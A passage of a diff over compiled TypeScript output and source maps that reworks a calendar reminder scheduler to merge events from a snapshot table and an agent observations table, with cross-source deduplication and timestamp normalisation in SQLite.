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"}
|
|
@@ -4,19 +4,32 @@ import type { Observer } from "./manager.js";
|
|
|
4
4
|
/**
|
|
5
5
|
* 15-minute imminent-meeting reminder emitter.
|
|
6
6
|
*
|
|
7
|
-
* Reads
|
|
8
|
-
*
|
|
9
|
-
*
|
|
10
|
-
*
|
|
11
|
-
* (
|
|
12
|
-
*
|
|
7
|
+
* Reads two sources for upcoming Google Calendar events in `[now, now + 15min]`
|
|
8
|
+
* and emits one `schedule.approaching` event per item via the EventBus:
|
|
9
|
+
*
|
|
10
|
+
* - `integration_snapshots` rows for `integration = 'google_calendar'` —
|
|
11
|
+
* populated by `CalendarPoller` (direct mode) and `DelegatedSyncWorker`
|
|
12
|
+
* (delegated mode).
|
|
13
|
+
* - `observations` rows for `source LIKE 'google_calendar:%'` — populated
|
|
14
|
+
* by the agent's `/api/observations` POSTs during the native-mode
|
|
15
|
+
* `routine.fetch_window` pre-pass (`imminent_2h` window). In native
|
|
16
|
+
* mode the daemon does NOT poll and integration_snapshots stays empty
|
|
17
|
+
* by design (`INTEGRATION_SNAPSHOT_PARTITIONS_BY_MODE[google_calendar].native = []`);
|
|
18
|
+
* without this second source, native-mode users would silently lose
|
|
19
|
+
* every 15-minute reminder. Cadence note: native observations refresh
|
|
20
|
+
* on the hourly_check tick (60-min cadence) so events scheduled with
|
|
21
|
+
* less than ~60 min lead-time may miss their reminder. The 5-min
|
|
22
|
+
* direct-mode polling cadence does not have this limit.
|
|
13
23
|
*
|
|
14
24
|
* INTEGRATION-DRIFT-PHASE-7-PLAN.md §3.2 — dedup is persistent. Pre-
|
|
15
25
|
* Phase-7 the scheduler kept an in-memory Set; daemon restarts re-DMed
|
|
16
26
|
* every imminent event in flight. The new `imminent_event_notifications`
|
|
17
27
|
* table records `(item_id, notified_at)` on each emit and is consulted
|
|
18
28
|
* before each tick. Retention prunes rows older than 24 h via
|
|
19
|
-
* retention.ts.
|
|
29
|
+
* retention.ts. Cross-source dedup is automatic: snapshot `item_id` and
|
|
30
|
+
* observation `ref` both use the provider's stable event id, so the
|
|
31
|
+
* same row in both tables resolves to a single `imminent_event_notifications`
|
|
32
|
+
* entry.
|
|
20
33
|
*/
|
|
21
34
|
export declare class ImminentEventScheduler implements Observer {
|
|
22
35
|
private readonly db;
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"imminent-event-scheduler.d.ts","sourceRoot":"","sources":["../../src/observers/imminent-event-scheduler.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,QAAQ,MAAM,gBAAgB,CAAC;AAM3C,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,sBAAsB,CAAC;AACrD,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,cAAc,CAAC;
|
|
1
|
+
{"version":3,"file":"imminent-event-scheduler.d.ts","sourceRoot":"","sources":["../../src/observers/imminent-event-scheduler.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,QAAQ,MAAM,gBAAgB,CAAC;AAM3C,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,sBAAsB,CAAC;AACrD,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,cAAc,CAAC;AAkE7C;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA6BG;AACH,qBAAa,sBAAuB,YAAW,QAAQ;IAMnD,OAAO,CAAC,QAAQ,CAAC,EAAE;IACnB,OAAO,CAAC,QAAQ,CAAC,QAAQ;IACzB,OAAO,CAAC,QAAQ,CAAC,UAAU;IAC3B,OAAO,CAAC,QAAQ,CAAC,eAAe;IAChC,OAAO,CAAC,QAAQ,CAAC,GAAG;IATtB,QAAQ,CAAC,IAAI,8BAA8B;IAE3C,OAAO,CAAC,KAAK,CAA+C;gBAGzC,EAAE,EAAE,QAAQ,CAAC,QAAQ,EACrB,QAAQ,EAAE,QAAQ,EAClB,UAAU,EAAE,MAAM,EAClB,eAAe,SAAK,EACpB,GAAG,GAAE,MAAM,IAAuB;IAG/C,KAAK,IAAI,OAAO,CAAC,IAAI,CAAC;IAYtB,IAAI,IAAI,OAAO,CAAC,IAAI,CAAC;IAQrB,IAAI,IAAI,OAAO,CAAC,IAAI,CAAC;CA0K5B"}
|
|
@@ -1,22 +1,45 @@
|
|
|
1
1
|
import { createEvent, EventPriority, } from "@aitne/shared";
|
|
2
2
|
import { createLogger } from "../logging.js";
|
|
3
3
|
const logger = createLogger("imminent-event-scheduler");
|
|
4
|
+
function extractCalendarPayload(parsed) {
|
|
5
|
+
// Observation `raw.title` wins for native rows; snapshot `summary` wins
|
|
6
|
+
// for direct / delegated rows. The two writers never produce both keys,
|
|
7
|
+
// so the precedence is informational rather than collision-resolving.
|
|
8
|
+
const raw = parsed.raw ?? undefined;
|
|
9
|
+
const title = raw?.title ?? raw?.summary ?? parsed.summary ?? null;
|
|
10
|
+
const start = raw?.start ?? parsed.start ?? null;
|
|
11
|
+
const end = raw?.end ?? parsed.end ?? null;
|
|
12
|
+
return { title, start, end };
|
|
13
|
+
}
|
|
4
14
|
/**
|
|
5
15
|
* 15-minute imminent-meeting reminder emitter.
|
|
6
16
|
*
|
|
7
|
-
* Reads
|
|
8
|
-
*
|
|
9
|
-
*
|
|
10
|
-
*
|
|
11
|
-
* (
|
|
12
|
-
*
|
|
17
|
+
* Reads two sources for upcoming Google Calendar events in `[now, now + 15min]`
|
|
18
|
+
* and emits one `schedule.approaching` event per item via the EventBus:
|
|
19
|
+
*
|
|
20
|
+
* - `integration_snapshots` rows for `integration = 'google_calendar'` —
|
|
21
|
+
* populated by `CalendarPoller` (direct mode) and `DelegatedSyncWorker`
|
|
22
|
+
* (delegated mode).
|
|
23
|
+
* - `observations` rows for `source LIKE 'google_calendar:%'` — populated
|
|
24
|
+
* by the agent's `/api/observations` POSTs during the native-mode
|
|
25
|
+
* `routine.fetch_window` pre-pass (`imminent_2h` window). In native
|
|
26
|
+
* mode the daemon does NOT poll and integration_snapshots stays empty
|
|
27
|
+
* by design (`INTEGRATION_SNAPSHOT_PARTITIONS_BY_MODE[google_calendar].native = []`);
|
|
28
|
+
* without this second source, native-mode users would silently lose
|
|
29
|
+
* every 15-minute reminder. Cadence note: native observations refresh
|
|
30
|
+
* on the hourly_check tick (60-min cadence) so events scheduled with
|
|
31
|
+
* less than ~60 min lead-time may miss their reminder. The 5-min
|
|
32
|
+
* direct-mode polling cadence does not have this limit.
|
|
13
33
|
*
|
|
14
34
|
* INTEGRATION-DRIFT-PHASE-7-PLAN.md §3.2 — dedup is persistent. Pre-
|
|
15
35
|
* Phase-7 the scheduler kept an in-memory Set; daemon restarts re-DMed
|
|
16
36
|
* every imminent event in flight. The new `imminent_event_notifications`
|
|
17
37
|
* table records `(item_id, notified_at)` on each emit and is consulted
|
|
18
38
|
* before each tick. Retention prunes rows older than 24 h via
|
|
19
|
-
* retention.ts.
|
|
39
|
+
* retention.ts. Cross-source dedup is automatic: snapshot `item_id` and
|
|
40
|
+
* observation `ref` both use the provider's stable event id, so the
|
|
41
|
+
* same row in both tables resolves to a single `imminent_event_notifications`
|
|
42
|
+
* entry.
|
|
20
43
|
*/
|
|
21
44
|
export class ImminentEventScheduler {
|
|
22
45
|
db;
|
|
@@ -48,44 +71,125 @@ export class ImminentEventScheduler {
|
|
|
48
71
|
async tick() {
|
|
49
72
|
const now = this.now();
|
|
50
73
|
const max = new Date(now.getTime() + 15 * 60 * 1000);
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
//
|
|
54
|
-
//
|
|
74
|
+
const nowIso = now.toISOString();
|
|
75
|
+
const maxIso = max.toISOString();
|
|
76
|
+
// UNION ALL across the two writers (snapshot table for direct /
|
|
77
|
+
// delegated; observations table for native). LEFT-JOIN against the
|
|
78
|
+
// dedup table at the outer level so a row already notified is
|
|
79
|
+
// skipped regardless of which source produced it. Cross-source
|
|
80
|
+
// duplicates (same provider event id appearing in both tables, e.g.
|
|
81
|
+
// briefly during a mode flip) collapse via the JS-side `seen` set
|
|
82
|
+
// below — we emit at most one `schedule.approaching` event per
|
|
83
|
+
// item_id even if both queries surface it.
|
|
84
|
+
//
|
|
85
|
+
// The observation branch is keyed by `o.consumed_at IS NULL` so we
|
|
86
|
+
// don't fire reminders for events the morning routine already
|
|
87
|
+
// consumed (the pending-observations filter). Direct/delegated
|
|
88
|
+
// snapshots have no consumed_at column — the writer reconciles
|
|
89
|
+
// in-place, so the snapshot row always reflects the current state.
|
|
90
|
+
// Timestamp normalisation rationale (Issue A1, 2026-05-13).
|
|
91
|
+
//
|
|
92
|
+
// Snapshot path: the writer normalises `item_start` to UTC ISO with
|
|
93
|
+
// Z suffix via `normalizeTimeForRange` (integrations-snapshot.ts)
|
|
94
|
+
// before insert, so raw string compare on snapshots is correct AND
|
|
95
|
+
// can use the `idx_integration_snapshots_imminent` covering index
|
|
96
|
+
// (a `datetime()` wrapper would block the index per SQLite's
|
|
97
|
+
// "expressions on indexed column" rule).
|
|
98
|
+
//
|
|
99
|
+
// Observation path: the writer is the agent's `/api/observations`
|
|
100
|
+
// POST — the partial's contract is "the response from the upstream
|
|
101
|
+
// call IS the payload, do not summarise or rank", so the start
|
|
102
|
+
// timestamp inherits whatever format the bound Calendar MCP
|
|
103
|
+
// emitted. Google Calendar MCPs typically return RFC 3339 with
|
|
104
|
+
// timezone offset (`2026-04-29T08:00:00-04:00`). A lexicographic
|
|
105
|
+
// compare of those against the UTC-Z `now.toISOString()` parameter
|
|
106
|
+
// mis-orders rows across the dateline / DST boundary and silently
|
|
107
|
+
// drops imminent reminders. SQLite's `datetime()` normalises both
|
|
108
|
+
// forms to the canonical `'YYYY-MM-DD HH:MM:SS'` UTC string; NULL
|
|
109
|
+
// / unparseable inputs return NULL which the WHERE filter
|
|
110
|
+
// discards.
|
|
111
|
+
//
|
|
112
|
+
// ORDER BY: `datetime()`-normalised on both sides so the
|
|
113
|
+
// cross-source dedup case (snapshot + observation rows for the
|
|
114
|
+
// same event id appearing during a mode flip) deterministically
|
|
115
|
+
// picks the same winner regardless of which format the
|
|
116
|
+
// observation row carries. The set ordered here is already
|
|
117
|
+
// narrowed by the WHERE filter to rows in [now, now+15min] — a
|
|
118
|
+
// handful, not the full table — so the per-row `datetime()` cost
|
|
119
|
+
// is negligible.
|
|
55
120
|
const rows = this.db
|
|
56
|
-
.prepare(`SELECT
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
121
|
+
.prepare(`SELECT candidates.source_kind AS source_kind,
|
|
122
|
+
candidates.item_id AS item_id,
|
|
123
|
+
candidates.payload_json AS payload_json,
|
|
124
|
+
candidates.item_start AS item_start
|
|
125
|
+
FROM (
|
|
126
|
+
SELECT 'snapshot' AS source_kind,
|
|
127
|
+
s.item_id AS item_id,
|
|
128
|
+
s.payload_json AS payload_json,
|
|
129
|
+
s.item_start AS item_start
|
|
130
|
+
FROM integration_snapshots s
|
|
131
|
+
WHERE s.integration = 'google_calendar'
|
|
132
|
+
AND s.item_start IS NOT NULL
|
|
133
|
+
AND s.item_start > ?
|
|
134
|
+
AND s.item_start <= ?
|
|
135
|
+
UNION ALL
|
|
136
|
+
SELECT 'observation' AS source_kind,
|
|
137
|
+
o.ref AS item_id,
|
|
138
|
+
o.payload AS payload_json,
|
|
139
|
+
json_extract(o.payload, '$.raw.start') AS item_start
|
|
140
|
+
FROM observations o
|
|
141
|
+
WHERE o.source LIKE 'google_calendar:%'
|
|
142
|
+
AND o.consumed_at IS NULL
|
|
143
|
+
-- json_valid guards against the SQLite json_extract runtime
|
|
144
|
+
-- error when the payload column happens to contain non-JSON
|
|
145
|
+
-- text. The agent's /api/observations POST handler rejects
|
|
146
|
+
-- malformed bodies, so production never hits this branch.
|
|
147
|
+
-- The gate matches the snapshot path's recovery contract:
|
|
148
|
+
-- skip the row, do NOT write a dedup entry, let the next
|
|
149
|
+
-- tick reprocess if the upstream row gets repaired.
|
|
150
|
+
AND json_valid(o.payload) = 1
|
|
151
|
+
AND json_extract(o.payload, '$.kind') = 'calendar'
|
|
152
|
+
AND json_extract(o.payload, '$.raw.start') IS NOT NULL
|
|
153
|
+
AND datetime(json_extract(o.payload, '$.raw.start')) > datetime(?)
|
|
154
|
+
AND datetime(json_extract(o.payload, '$.raw.start')) <= datetime(?)
|
|
155
|
+
) AS candidates
|
|
60
156
|
LEFT JOIN imminent_event_notifications n
|
|
61
|
-
ON n.item_id =
|
|
62
|
-
WHERE
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
AND s.item_start <= ?
|
|
66
|
-
AND n.notified_at IS NULL
|
|
67
|
-
ORDER BY s.item_start ASC`)
|
|
68
|
-
.all(now.toISOString(), max.toISOString());
|
|
157
|
+
ON n.item_id = candidates.item_id
|
|
158
|
+
WHERE n.notified_at IS NULL
|
|
159
|
+
ORDER BY datetime(candidates.item_start) ASC`)
|
|
160
|
+
.all(nowIso, maxIso, nowIso, maxIso);
|
|
69
161
|
if (rows.length === 0)
|
|
70
162
|
return;
|
|
71
163
|
const insertNotification = this.db.prepare(`INSERT INTO imminent_event_notifications (item_id, notified_at)
|
|
72
164
|
VALUES (?, ?)
|
|
73
165
|
ON CONFLICT(item_id) DO NOTHING`);
|
|
166
|
+
// Cross-source dedup: the snapshot writer and the observation writer
|
|
167
|
+
// can briefly carry the same provider event id during a direct↔native
|
|
168
|
+
// mode flip (snapshot purge is best-effort, agent posts happen in-turn).
|
|
169
|
+
// The DB-level `imminent_event_notifications` dedup catches this once
|
|
170
|
+
// the first row is processed, but on a single tick where both rows
|
|
171
|
+
// pass the WHERE filter we'd otherwise emit twice before the INSERT
|
|
172
|
+
// commits. Track item_ids in-loop and skip the second occurrence.
|
|
173
|
+
const seen = new Set();
|
|
74
174
|
for (const row of rows) {
|
|
175
|
+
if (seen.has(row.item_id))
|
|
176
|
+
continue;
|
|
177
|
+
seen.add(row.item_id);
|
|
75
178
|
const startMs = Date.parse(row.item_start);
|
|
76
179
|
if (!Number.isFinite(startMs))
|
|
77
180
|
continue;
|
|
78
181
|
const minutesUntil = (startMs - now.getTime()) / 60_000;
|
|
79
182
|
if (minutesUntil <= 0 || minutesUntil > 15)
|
|
80
183
|
continue;
|
|
81
|
-
let
|
|
184
|
+
let parsed;
|
|
82
185
|
try {
|
|
83
|
-
|
|
186
|
+
parsed = JSON.parse(row.payload_json);
|
|
84
187
|
}
|
|
85
188
|
catch (err) {
|
|
86
|
-
logger.warn({ err, itemId: row.item_id }, "Skipping imminent event with invalid
|
|
189
|
+
logger.warn({ err, itemId: row.item_id, sourceKind: row.source_kind }, "Skipping imminent event with invalid payload");
|
|
87
190
|
continue;
|
|
88
191
|
}
|
|
192
|
+
const payload = extractCalendarPayload(parsed);
|
|
89
193
|
// Mark notified BEFORE the EventBus put. If the put throws, a
|
|
90
194
|
// duplicate emit on the next tick is preferable to losing the row
|
|
91
195
|
// here, but the put path itself is in-memory and synchronous —
|
|
@@ -101,14 +205,14 @@ export class ImminentEventScheduler {
|
|
|
101
205
|
priority: EventPriority.HIGH,
|
|
102
206
|
data: {
|
|
103
207
|
calendarEventId: row.item_id,
|
|
104
|
-
summary: payload.
|
|
208
|
+
summary: payload.title ?? "",
|
|
105
209
|
startTime: payload.start ?? row.item_start,
|
|
106
210
|
endTime: payload.end ?? null,
|
|
107
211
|
minutesUntil: Math.round(minutesUntil),
|
|
108
212
|
},
|
|
109
213
|
}),
|
|
110
214
|
calendarId: this.calendarId,
|
|
111
|
-
eventTitle: payload.
|
|
215
|
+
eventTitle: payload.title ?? "Untitled Event",
|
|
112
216
|
startTime: new Date(startMs),
|
|
113
217
|
endTime: payload.end ? new Date(payload.end) : null,
|
|
114
218
|
changeType: "approaching",
|
|
@@ -116,7 +220,8 @@ export class ImminentEventScheduler {
|
|
|
116
220
|
await this.eventBus.put(event);
|
|
117
221
|
logger.info({
|
|
118
222
|
itemId: row.item_id,
|
|
119
|
-
|
|
223
|
+
sourceKind: row.source_kind,
|
|
224
|
+
event: payload.title,
|
|
120
225
|
minutesUntil: Math.round(minutesUntil),
|
|
121
226
|
}, "Approaching calendar event");
|
|
122
227
|
}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"imminent-event-scheduler.js","sourceRoot":"","sources":["../../src/observers/imminent-event-scheduler.ts"],"names":[],"mappings":"AACA,OAAO,EACL,WAAW,EACX,aAAa,GAEd,MAAM,eAAe,CAAC;AAGvB,OAAO,EAAE,YAAY,EAAE,MAAM,eAAe,CAAC;AAE7C,MAAM,MAAM,GAAG,YAAY,CAAC,0BAA0B,CAAC,CAAC;
|
|
1
|
+
